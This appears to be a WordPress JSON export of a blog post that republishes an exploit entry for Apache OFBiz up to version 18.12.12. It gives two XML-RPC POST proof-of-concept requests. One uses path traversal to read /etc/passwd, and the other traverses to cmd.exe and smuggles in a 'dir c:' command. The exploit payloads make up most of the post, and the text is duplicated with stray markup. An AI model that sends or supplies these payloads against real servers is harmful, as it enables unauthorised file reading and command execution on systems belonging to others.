# Exploit Title: Apache OFBiz 18.12.12 – Directory Traversal
# Google Dork: N\/A
# Date: 2024-05-16
# Exploit Author: [Abdualhadi khalifa (https:\/\/twitter.com\/absholi_ly)
# Vendor Homepage: https:\/\/ofbiz.apache.org\/
## Software Link: https:\/\/ofbiz.apache.org\/download.html
# Version: below <=18.12.12
# Tested on: Windows10<\/p>\n
Poc.
1-
POST \/webtools\/control\/xmlrpc HTTP\/1.1
Host: vulnerable-host.com
Content-Type: text\/xml<\/p>\n
<?xml version=”1.0″?>
<methodCall>
<methodName>example.createBlogPost<\/methodName>
<params>
<param>
<value><string>..\/..\/..\/..\/..\/..\/etc\/passwd<\/string><\/value>
<\/param>
<\/params>
<\/methodCall><\/p>\n
OR<\/p>\n
2-
POST \/webtools\/control\/xmlrpc HTTP\/1.1
Host: vulnerable-host.com
Content-Type: text\/xml<\/p>\n
<?xml version=”1.0″?>
<methodCall>
<methodName>performCommand<\/methodName>
<params>
<param><\/p>\n
<value><string>..\/..\/..\/..\/..\/..\/windows\/system32\/cmd.exe?\/c+dir+c:\\<\/string><\/value>
<\/param>
<\/params>
<\/methodCall><\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Apache OFBiz 18.12.12 – Directory Traversal# Google Dork: N\/A# Date: 2024-05-16# Exploit Author: [Abdualhadi khalifa (https:\/\/twitter.com\/absholi_ly)# Vendor Homepage: https:\/\/ofbiz.apache.org\/## Software Link: https:\/\/ofbiz.apache.org\/download.html# Version: below <=18.12.12# Tested on: Windows10 Poc.1-POST \/webtools\/control\/xmlrpc HTTP\/1.1Host: vulnerable-host.comContent-Type: text\/xml <?xml version=”1.0″?><methodCall><methodName>example.createBlogPost<\/methodName><params><param><value><string>..\/..\/..\/..\/..\/..\/etc\/passwd<\/string><\/value><\/param><\/params><\/methodCall> OR 2-POST \/webtools\/control\/xmlrpc HTTP\/1.1Host: vulnerable-host.comContent-Type: text\/xml <?xml version=”1.0″?><methodCall><methodName>performCommand<\/methodName><params><param> <value><string>..\/..\/..\/..\/..\/..\/windows\/system32\/cmd.exe?\/c+dir+c:\\<\/string><\/value><\/param><\/params><\/methodCall><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56940","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56940","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56940"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56940\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56940"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56940"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56940"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}